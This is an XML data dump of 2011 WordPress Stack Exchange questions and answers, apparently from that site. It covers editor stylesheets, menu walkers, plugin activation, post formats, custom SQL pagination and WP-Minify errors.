  <row Id="21613" PostTypeId="2" ParentId="21590" CreationDate="2011-06-30T12:45:24.600" Score="5" ViewCount="" Body="&lt;p&gt;I'd suggest using editor style for your wysiwyg.&#xA;Add &lt;code&gt;add_editor_style();&lt;/code&gt; to your functions.php and then add a new file called &lt;code&gt;editor-style.css&lt;/code&gt; to your main theme directory. Your editor style should reflect the basic css settings like your actual frontend content width, H1, H2, p etc tags styles, margins, image padding adn margins etc. Don't copy your default style.css, only the basic styling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of an editor-style.css file I used on my latest project (note html .mceContentBody):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;html .mceContentBody {&#xA;width:690px;&#xA;font-family:Arial, Helvetica, sans-serif;&#xA;}&#xA;&#xA;h1 {&#xA;    color: #AC2327;&#xA;    display: block;&#xA;    font-size: 16px;&#xA;    font-weight: bold;&#xA;    line-height: 50px;&#xA;}&#xA;h2 {&#xA;    color: #494949;&#xA;    font-size: 14px;&#xA;    font-weight: bold;&#xA;    margin: 10px 0 15px;&#xA;}&#xA;ul li {&#xA;    color: #494949;&#xA;    font-size: 12px;&#xA;    font-weight: normal;&#xA;    line-height: 1.7em;&#xA;    list-style: disc inside url(includes/images/dot.gif);&#xA;    padding: 2px 0;&#xA;}&#xA;p {&#xA;    color: #494949;&#xA;    font-size: 12px;&#xA;    font-weight: normal;&#xA;    line-height: 1.6em;&#xA;    margin: 15px 0 5px;&#xA;}&#xA;p a {&#xA;    color: #CA1016;&#xA;    text-decoration: none;&#xA;}&#xA;strong {&#xA;    font-weight: bold;&#xA;}&#xA;img {&#xA;    border: 1px solid #E4E2E2;&#xA;    clear: both;&#xA;    margin: 0 25px 25px;&#xA;}&#xA;hr {&#xA;    background-color: #D7D7D7;&#xA;    border: 0 none;&#xA;    color: #D7D7D7;&#xA;    float: left;&#xA;    height: 1px;&#xA;    margin: 0 0 18px;&#xA;    width: 100%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-30T12:45:24.600" CommentCount="1" />
  <row Id="21614" PostTypeId="2" ParentId="21612" CreationDate="2011-06-30T12:54:15.907" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;Goto Settings-&amp;gt;Media-&amp;gt;Auto-embeds-&amp;gt;Uncheck the box&lt;/code&gt;( When possible, embed the media content from a URL directly onto the page).Hit save and problem solved.This is the Permanent way.:)&#xA;&lt;img src=&quot;http://i.stack.imgur.com/SLO1c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5669" LastEditorUserId="5669" LastEditorDisplayName="" LastEditDate="2011-06-30T13:25:55.437" LastActivityDate="2011-06-30T13:25:55.437" />
  <row Id="21615" PostTypeId="2" ParentId="21612" CreationDate="2011-06-30T12:54:24.813" Score="6" ViewCount="" Body="&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Okt4m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-30T12:54:24.813" CommentCount="1" />
  <row Id="21616" PostTypeId="2" ParentId="21586" CreationDate="2011-06-30T12:55:27.217" Score="2" ViewCount="" Body="&lt;p&gt;Your XML root element was 'OEmbed', not 'oembed', as given in the spec. XML element names are case-sensitive, per the XML spec.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-06-30T12:55:27.217" CommentCount="1" />
  <row Id="21617" PostTypeId="2" ParentId="21606" CreationDate="2011-06-30T13:08:54.003" Score="0" ViewCount="" Body="&lt;p&gt;Take a look  on this plugin too &lt;a href=&quot;http://wordpress.org/extend/plugins/ultimate-category-excluder/&quot; rel=&quot;nofollow&quot;&gt;Ultimate Category Excluder&lt;/a&gt;.i hope it'll helps you:)&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-30T13:08:54.003" CommentCount="1" />
  <row Id="21618" PostTypeId="2" ParentId="19675" CreationDate="2011-06-30T14:21:46.953" Score="1" ViewCount="" Body="&lt;p&gt;If i understand the question correct then you need this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('walker_nav_menu_start_el','auto_category_subMenu',10,4);&#xA;function auto_category_subMenu($item_output, $item, $depth, $args){&#xA;    //first you check if the current item is a category&#xA;    if (!$item-&amp;gt;object == 'category'){&#xA;        return $item_output;&#xA;    }else{&#xA;    //if it is a category then check that it is the right one.&#xA;        if ($item-&amp;gt;title == 'Water Balloon'){&#xA;               //if we got this far the we are on the parent menu item and&#xA;               // we are going to get all of the balloon post type listed under it&#xA;            global $post;&#xA;            $tmp_post = $post;&#xA;            $args = array(&#xA;                'post_type' =&amp;gt; 'balloons',&#xA;                'posts_per_page' =&amp;gt; -1,&#xA;                'category_name' =&amp;gt; $item-&amp;gt;title&#xA;            );&#xA;            $re = '';&#xA;            $submenu_items = get_posts( $args );&#xA;            foreach( $submenu_items as $post ){&#xA;                setup_postdata($post);&#xA;                $re .= '&amp;lt;li &amp;gt;&amp;lt;a href=&quot;'.get_permalink($post-&amp;gt;ID).'&quot;&amp;gt;'.get_the_title($post-&amp;gt;ID).'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;            }&#xA;            $post = $tmp_post;&#xA;            return $item_output.'&amp;lt;ul&amp;gt;'.$re.'&amp;lt;/ul&amp;gt;';&#xA;        }&#xA;    }&#xA;    return $item_output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this code assumes that your category name is &quot;Water Balloon&quot; and your post type is named &quot;balloons&quot; if not simply change that.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-30T14:21:46.953" CommentCount="2" />
  <row Id="21619" PostTypeId="1" AcceptedAnswerId="21620" CreationDate="2011-06-30T08:19:39.640" Score="0" ViewCount="45" Body="&lt;p&gt;Hi iam developing a plugin to activated a couple of plugins. i.e: the plugin jetpack has six plugins and all gets activated on a single install,like wise i need to activate a group of plugins from acivating this plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example consider a plugin called 'site plugin' which has sub folders of other plugins.&#xA;when i activate 'site plugin' it should show options to activate other plugins in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope some one could help me.&lt;/p&gt;&#xA;" OwnerUserId="7376" LastActivityDate="2011-07-30T14:34:12.917" Title="Wordpress plugin for activating other plugins" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="21620" PostTypeId="2" ParentId="21619" CreationDate="2011-06-30T09:16:09.383" Score="0" ViewCount="" Body="&lt;p&gt;You're main pluggin can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_activation_hook&quot; rel=&quot;nofollow&quot;&gt;register_activation_hook&lt;/a&gt; and use the function you register thru the hook to activate you're necesary pluggins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Smth along these lines :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // get already activated plugins&#xA;    $plugins = get_option('active_plugins');&#xA;    $puginsToActiv = array('Plugin1', 'Plugin2', 'Plugin3');&#xA;    if($plugins)&#xA;    {&#xA;        $changed = false;&#xA;        foreach ($puginsTostActiv as $plugin)&#xA;        {&#xA;            if (!in_array($plugin, $plugins))&#xA;            {&#xA;                $changed = true;&#xA;                array_push($plugins,$plugin);&#xA;            }&#xA;        }&#xA;&#xA;        if ( $changed )&#xA;            update_option('active_plugins',$plugins);&#xA;    }&#xA;// code not tested&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1999" LastActivityDate="2011-06-30T09:16:09.383" CommentCount="2" />
  <row Id="21621" PostTypeId="1" AcceptedAnswerId="21622" CreationDate="2011-06-29T17:32:19.760" Score="0" ViewCount="20" Body="&lt;p&gt;I'm in a situation where I need to face a situation when there is a WordPress site with landing page and several internal page designs. I know for such situations there is recommended to create more template files for pages with some comments at the beginning like &lt;code&gt;Template Name: Some Style&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done this already, but the problem is that many of the internal pages contains boxes, areas that are independent from the main template. Let me show you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/BDhCK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's suppose we have the main article area and two other boxes. All the three areas have different design. First with some nice background, the bottom left article in a box with background and gradient stuff, the bottom right article is a box also with background and gradient with title and content inside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was asked to solve the situation in a manner when the site admin (who don't know any piece of coding) wants to add another similar article with same structure, to be able to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I create one single template for this or three? What do you suggest? The idea when new article/page is added, to contain only the usual WordPress generated codes like h2, p, i, etc. So no manually added div's, classes and similar stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you faced similar situation? I searched the internet and did not found anything yet. I was thinking something about shortcodes but that will involde tu use codes like &lt;code&gt;[some]content...[/some]&lt;/code&gt; or even to have children pages, but nothing is clear for me yet. What do you suggest for me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance! :)&lt;/p&gt;&#xA;" LastActivityDate="2011-06-30T14:29:45.660" Title="custom page templating in WordPress" Tags="&lt;untagged&gt;" AnswerCount="1" />
  <row Id="21622" PostTypeId="2" ParentId="21621" CreationDate="2011-06-29T19:55:14.383" Score="1" ViewCount="" Body="&lt;p&gt;Yes you'd need to add shortcodes to the functions.php file in your themes folder in order to use code like [box]Contained content blah blah[/box] in the WYSIWYG editor learn more about shortcodes and how to use them here &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Shortcode_API&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7663" LastActivityDate="2011-06-29T19:55:14.383" CommentCount="5" />
  <row Id="21623" PostTypeId="1" CreationDate="2011-06-29T10:21:21.610" Score="0" ViewCount="18" Body="&lt;p&gt;i have written a custom plugin display members-i displayed the members by creating a shotcode, how do i paginate while using a shortcode? i only want 10 members to be displayed,c urrently it displays all&lt;/p&gt;&#xA;&#xA;&lt;p&gt;im just confused about how the url routing would work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is more shotcode? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[cwm_downloads_view cat=abcd_member]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;can i setup new pages and add in a number?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[cwm_downloads_view cat=abcd_member offset=10]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;?&lt;/p&gt;&#xA;" LastActivityDate="2011-06-30T14:30:04.367" Title="how to paginate in custom wordpress plugin paginated page?" Tags="&lt;php&gt;&lt;plugins&gt;" />
  <row Id="21624" PostTypeId="1" AcceptedAnswerId="21625" CreationDate="2011-06-30T14:30:42.730" Score="0" ViewCount="43" Body="&lt;p&gt;I've got 3 languages on my site. Picking the same featured image 3 times for the 3 versions of each article is boring. Is there any way to do it only once ? (same for picking a tag)&lt;/p&gt;&#xA;" OwnerUserId="5915" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-30T14:47:59.063" LastActivityDate="2011-06-30T14:47:59.063" Title="WPML : how to pick a featured image only once for different languages?" Tags="&lt;attachments&gt;&lt;multi-language&gt;&lt;plugin-wpml&gt;" AnswerCount="1" />
  <row Id="21625" PostTypeId="2" ParentId="21624" CreationDate="2011-06-30T14:47:06.137" Score="0" ViewCount="" Body="&lt;p&gt;You'll find the answer here : &lt;a href=&quot;http://wpml.org/2011/05/new-plugin-wpml-media-translation/&quot; rel=&quot;nofollow&quot;&gt;http://wpml.org/2011/05/new-plugin-wpml-media-translation/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-30T14:47:06.137" CommentCount="1" />
  <row Id="21626" PostTypeId="1" CreationDate="2011-06-30T14:52:51.533" Score="-1" ViewCount="91" Body="&lt;p&gt;I have my own SQL string to select Custom Post Type posts with specific WHERE clause. I've used the offset and limit to return appropriate posts depending on a page being displayed. That's working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I would like to make &lt;code&gt;previous_posts_link()&lt;/code&gt; and &lt;code&gt;next_posts_link()&lt;/code&gt; functions work. They both are called from &lt;code&gt;get_posts_nav_link&lt;/code&gt; which uses &lt;code&gt;global $wp_query&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can re-assign &lt;code&gt;global $wp_query&lt;/code&gt; with my SQL string or &lt;code&gt;$wpdb-&amp;gt;get_results&lt;/code&gt; results or anything else? So the native &lt;code&gt;previous_posts_link()&lt;/code&gt; and &lt;code&gt;next_posts_link()&lt;/code&gt; WP functions would work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, how can I reproduce the prev and next post link functions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really appreciate any help and advice! I'm totally stuck with this.&lt;br/&gt;&#xA;Thanks :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; I have just noticed that &lt;code&gt;previous_posts_link()&lt;/code&gt; is working correctly on all the pages, but &lt;code&gt;no idea why&lt;/code&gt; and in this case, why &lt;code&gt;next_posts_link&lt;/code&gt; doesn't work :S&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;$post_per_page = intval(get_query_var('posts_per_page'));&#xA;$offset = ($paged - 1)*$post_per_page;&#xA;&#xA;$sql = &quot;&#xA;SELECT SQL_CALC_FOUND_ROWS  wp_posts.*, wp_postmeta.* &#xA;FROM wp_posts &#xA;INNER JOIN wp_postmeta ON (wp_posts.ID = wp_postmeta.post_id)&#xA;INNER JOIN wp_postmeta AS mt1 ON (wp_posts.ID = mt1.post_id) &#xA;WHERE 1=1  &#xA;    AND wp_posts.post_type = 'movie' &#xA;    AND (wp_posts.post_status = 'publish' OR wp_posts.post_status = 'private') &#xA;    AND ((wp_postmeta.meta_key = '_expiry_date' AND CAST(wp_postmeta.meta_value AS DATE) &amp;gt;= '&quot;.$current_date.&quot;') &#xA;        OR (mt1.meta_key = '_expiry_date' AND CAST(mt1.meta_value AS CHAR) = ''))&#xA;GROUP BY wp_posts.ID &#xA;ORDER BY wp_posts.post_date DESC&#xA;LIMIT &quot;.$offset.&quot;, &quot;.$post_per_page;&#xA;&#xA;$movies_all_current = $wpdb-&amp;gt;get_results( $sql, OBJECT);&#xA;&#xA;if($movies_all_current) {&#xA;global $post;&#xA;&#xA;//loop&#xA;foreach( $movies_all_current as $key=&amp;gt;$post ) {&#xA;    setup_postdata($post);&#xA;    //display each post&#xA;    //...&#xA;} //end foreach ?&amp;gt;&#xA;&#xA;    //navigation&#xA;&amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;previous panel&quot;&amp;gt;&amp;lt;?php previous_posts_link('&amp;amp;laquo; newer') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;next panel&quot;&amp;gt;&amp;lt;?php next_posts_link('older &amp;amp;raquo;') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1343" LastEditorUserId="1343" LastEditorDisplayName="" LastEditDate="2011-06-30T15:07:21.020" LastActivityDate="2011-07-30T19:39:06.907" Title="Pagination with custom SQL query" Tags="&lt;wp-query&gt;&lt;pagination&gt;&lt;navigation&gt;&lt;wpdb&gt;&lt;sql&gt;" AnswerCount="2" />
  <row Id="21627" PostTypeId="2" ParentId="21626" CreationDate="2011-06-30T15:04:41.700" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://codex.wordpress.org/Custom_Queries&quot; rel=&quot;nofollow&quot;&gt;Custom Queries&lt;/a&gt; - which allow you to modify the wp_query call in many interesting and useful ways, and push the results back into your global query object.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-30T15:04:41.700" />
  <row Id="21628" PostTypeId="1" AcceptedAnswerId="21630" CreationDate="2011-06-30T15:46:54.667" Score="0" ViewCount="49" Body="&lt;p&gt;I'm working with post formats, most of my code looks similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( has_post_format( 'standard' )) {&#xA;  echo '&amp;lt;?php get_sidebar(); ?&amp;gt;';&#xA;}&#xA;if ( has_post_format( 'aside' )) {&#xA;  echo 'this is an aside';&#xA;}&#xA;if ( has_post_format( 'chat' )) {&#xA;  echo 'this is the video format';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I also want one of the if statements to include how to call it if the user &lt;strong&gt;did not&lt;/strong&gt; select a post format.  Anybody know?&lt;/p&gt;&#xA;" OwnerUserId="6565" LastActivityDate="2011-06-30T16:15:16.377" Title="If Statement Post Formats: No post format selected" Tags="&lt;php&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="21629" PostTypeId="1" AcceptedAnswerId="21633" CreationDate="2011-06-30T15:47:06.377" Score="1" ViewCount="48" Body="&lt;p&gt;I'm working with a team of developers on a new site and we've experienced an issue.  All of have a local install (under SVN) of WP 3.1.3 running on our machines, but we're all connected to  the same remote database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue comes in when one of us creates a new plugin and installs it.  Until the plugin files are checked-in to the SVN repository, and the other devs check-out the new plugin files, WP will deactivate the plugin (since we're all on the same db, but different local installs) if it can't find the plugin file on another dev's machine who happens to be in the WP Dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;    &lt;li&gt;Dev A creates a plugin, and installs it.  The files are local on his machine. He checks then into SVN.&lt;/li&gt;&#xA;    &lt;li&gt;Dev B is in the dashboard, and hasn't gotten latest from the SVN repository so WP deactivates the plugin that Dev A just created since it can't find the files on Dev B's machine.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there any way around this other than each dev having a local db installed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="6304" LastActivityDate="2011-06-30T16:05:52.997" Title="Multiple Instances sharing the same database in a development environment" Tags="&lt;plugins&gt;&lt;development&gt;" AnswerCount="1" />
  <row Id="21630" PostTypeId="2" ParentId="21628" CreationDate="2011-06-30T15:51:52.940" Score="3" ViewCount="" Body="&lt;p&gt;use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_format&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_format&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$format = get_post_format();&#xA;if ( false === $format )&#xA;    echo &quot;no post format&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT - an example using a switch statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$format = get_post_format();&#xA;switch( $format ){&#xA;    case &quot;aside&quot;:&#xA;        echo &quot;aside&quot;;&#xA;        break;&#xA;    case &quot;chat&quot;:&#xA;        echo &quot;chat&quot;;&#xA;        break;&#xA;    default:&#xA;        echo &quot;standard&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-06-30T16:15:16.377" LastActivityDate="2011-06-30T16:15:16.377" CommentCount="9" />
  <row Id="21631" PostTypeId="2" ParentId="21628" CreationDate="2011-06-30T15:53:12.067" Score="0" ViewCount="" Body="&lt;p&gt;If they don't assign a format, it gets standard I think, for css purposes?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $format = get_post_format(); &#xA;if ( false === $format ) &#xA;    $format = 'standard'; &#xA;    get_template_part( 'format', $format ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is some of the if logic I use, checking for format to return false for conditionals&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-06-30T15:53:12.067" CommentCount="1" />
  <row Id="21632" PostTypeId="1" AcceptedAnswerId="22826" CreationDate="2011-06-30T16:01:12.733" Score="0" ViewCount="61" Body="&lt;p&gt;Is there a well-coded plugin or function that will enable me to create a global feed for only one post type in a multisite setup?&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-07-13T11:49:52.447" Title="Global site feed plugin/function for custom post type?" Tags="&lt;multisite&gt;&lt;feed&gt;" AnswerCount="1" />
  <row Id="21633" PostTypeId="2" ParentId="21629" CreationDate="2011-06-30T16:05:52.997" Score="0" ViewCount="" Body="&lt;p&gt;I recently had a similar issue, sadly,  the only way around it was either local database for each Dev team or all dev teams working on a shared remote environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save your self the time and brain melt downs looking for another solution and pick whichever works better for you and go with it.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-30T16:05:52.997" CommentCount="1" />
  <row Id="21634" PostTypeId="1" AcceptedAnswerId="21660" CreationDate="2011-06-30T16:09:35.540" Score="3" ViewCount="264" Body="&lt;p&gt;When it comes to excerpts, do you believe TimThumb or WordPress thumbnails is the way to go?  And why?  Answers will not be graded (but may be criticized).&lt;/p&gt;&#xA;" OwnerUserId="6565" LastActivityDate="2011-06-30T22:29:32.737" Title="What is your take: TimThumb vs. WordPress Thumbnails? The great debate" Tags="&lt;post-thumbnails&gt;&lt;timthumb&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="2" />
  <row Id="21635" PostTypeId="1" AcceptedAnswerId="21663" CreationDate="2011-06-30T16:20:30.810" Score="0" ViewCount="83" Body="&lt;p&gt;i've been having a world of difficulty w/ the WP-minify plugin.  usually i get 400/bad request errors when i try to access the combined/minified script or style files.  this tends to break the entire look of my site. but on my last site i came across a new error... when i try to view the combined script i see the following warning/errors followed by a bunch of gibberish.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;anybody know what the heck this is about?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;`&#xA;&lt;br /&gt;&#xA;&lt;b&gt;Warning&lt;/b&gt;:  is_file() [function.is-file]: open_basedir restriction in effect. File(/home/kathyi/public_html/wp-content/plugins/wp-minify/cache//minify_2fac368eb244a71e24b5c8bb929e8107.gz) is not within the allowed path(s): (/var/www/vhosts/soulmatesummit.net/httpdocs:/tmp) in &lt;b&gt;/var/www/vhosts/soulmatesummit.net/httpdocs/online-course/wp-content/plugins/wp-minify/min/lib/Minify/Cache/File.php&lt;/b&gt; on line &lt;b&gt;71&lt;/b&gt;&lt;br /&gt;&#xA;&lt;br /&gt;&#xA;&lt;b&gt;Warning&lt;/b&gt;:  is_file() [function.is-file]: open_basedir restriction in effect. File(/home/kathyi/public_html/wp-content/plugins/wp-minify/cache//minify_2fac368eb244a71e24b5c8bb929e8107) is not within the allowed path(s): (/var/www/vhosts/soulmatesummit.net/httpdocs:/tmp) in &lt;b&gt;/var/www/vhosts/soulmatesummit.net/httpdocs/online-course/wp-content/plugins/wp-minify/min/lib/Minify/Cache/File.php&lt;/b&gt; on line &lt;b&gt;33&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;&lt;b&gt;Warning&lt;/b&gt;:  is_file() [function.is-file]: open_basedir restriction in effect. File(/home/kathyi/public_html/wp-content/plugins/wp-minify/cache//minify_2fac368eb244a71e24b5c8bb929e8107.gz) is not within the allowed path(s): (/var/www/vhosts/mysite.net/httpdocs:/tmp) in &lt;b&gt;/var/www/vhosts/mysite.net/httpdocs/online-course/wp-content/plugins/wp-minify/min/lib/Minify/Cache/File.php&lt;/b&gt; on line &lt;b&gt;33&lt;/b&gt;&lt;br /&gt;&#xA;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Warning&lt;/b&gt;:  Cannot modify header information - headers already sent by (output started at /var/www/vhosts/mysite.net/httpdocs/online-course/wp-content/plugins/wp-minify/min/lib/Minify/Cache/File.php:71) in &lt;b&gt;/var/www/vhosts/soulmatesummit.net/httpdocs/online-course/wp-content/plugins/wp-minify/min/lib/Minify.php&lt;/b&gt; on line &lt;b&gt;312&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;`&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-06-30T22:21:31.320" Title="WP-Minify 400 errors and open_basedir restriction in effect" Tags="&lt;plugins&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="21636" PostTypeId="1" AcceptedAnswerId="21653" CreationDate="2011-06-30T17:06:50.503" Score="0" ViewCount="66" Body="&lt;p&gt;On one of my page templates I need to include the contents of several other pages. For example, if my page template is called Fruit, I need to pull in page content from pages named Apple, Pear, Orange, Lime, etc. This gives my user the ability to edit Apple and Lime individually from admin area.&lt;br&gt;&#xA;I'm trying to use &lt;strong&gt;get_page_by_title()&lt;/strong&gt; to pull in these sub pages, but that function only seems to want to work once per page. The first time I call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_page_by_title('Apple')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;works perfectly. When I later call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_page_by_title('Lime')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it displays Apple again. Is this function limited to once per page, or am I doing something else wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; It seems that no matter what title I pass to get_page_by_title() it will always get the content of the current page. So if I'm on &lt;strong&gt;example.com/fruit&lt;/strong&gt; and call &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_page_by_title('Apples')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with in the page, it will always display the content from Fruit. Not Apples.&lt;/p&gt;&#xA;" OwnerUserId="6646" LastEditorUserId="6646" LastEditorDisplayName="" LastEditDate="2011-06-30T17:26:42.350" LastActivityDate="2011-06-30T20:56:45.263" Title="Unable to use get_page_by_title() more than once per page?" Tags="&lt;functions&gt;&lt;page-template&gt;" AnswerCount="1" />
  <row Id="21637" PostTypeId="1" AcceptedAnswerId="21639" CreationDate="2011-06-30T17:29:00.173" Score="2" ViewCount="51" Body="&lt;p&gt;This might be a stupid question, and maybe I've missed some best practices thing, but I've been having this problem with clients using sites on WordPress. Let's say we have a fairly complex page that requires some good amount of HTML code inside the page itself. We put it up and it looks great. Now, month later client wants to edit couple words there, goes in and edits them in Visual Mode, and of course all markup that we did is now screwed up, so stuff is all over the place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the approaches we can use to handle cases like that?&lt;/p&gt;&#xA;" OwnerUserId="977" LastActivityDate="2011-06-30T19:04:49.260" Title="Editing Complex Pages in Visual Mode" Tags="&lt;pages&gt;&lt;content&gt;&lt;best-practices&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="21638" PostTypeId="2" ParentId="21495" CreationDate="2011-06-30T17:30:16.303" Score="1" ViewCount="" Body="&lt;p&gt;Found it. There was an extra closing slash on the opening select field.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-06-30T17:30:16.303" CommentCount="2" />
  <row Id="21639" PostTypeId="2" ParentId="21637" CreationDate="2011-06-30T17:47:39.837" Score="2" ViewCount="" Body="&lt;p&gt;One thing you could do is create page templates for complex pages and simply add the content through the editor, leave as little mark-up as possible in the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing that might help is using the editor style (activated with &lt;code&gt;add_editor_style()&lt;/code&gt; in &lt;code&gt;functions.php&lt;/code&gt;) and defined in &lt;code&gt;editor-style.css&lt;/code&gt; so the client has a better sense of what's going to be displayed (if you mimic your theme pretty closely) right in the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add custom fields with descriptive names for information which needs to be displayed in a certain way, in a certain place,  rather than lumping it in the main content. The &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-fields/&quot; rel=&quot;nofollow&quot;&gt;simple fields&lt;/a&gt; plugin simplifies this a lot, permits repeatable fields and file uploads. It gives flexibility while avoiding letting your client shoot himself in the foot so easily. Or you could make your own metaboxes,etc.&lt;/p&gt;&#xA;" OwnerUserId="1695" LastEditorUserId="1695" LastEditorDisplayName="" LastEditDate="2011-06-30T19:04:03.247" LastActivityDate="2011-06-30T19:04:03.247" />
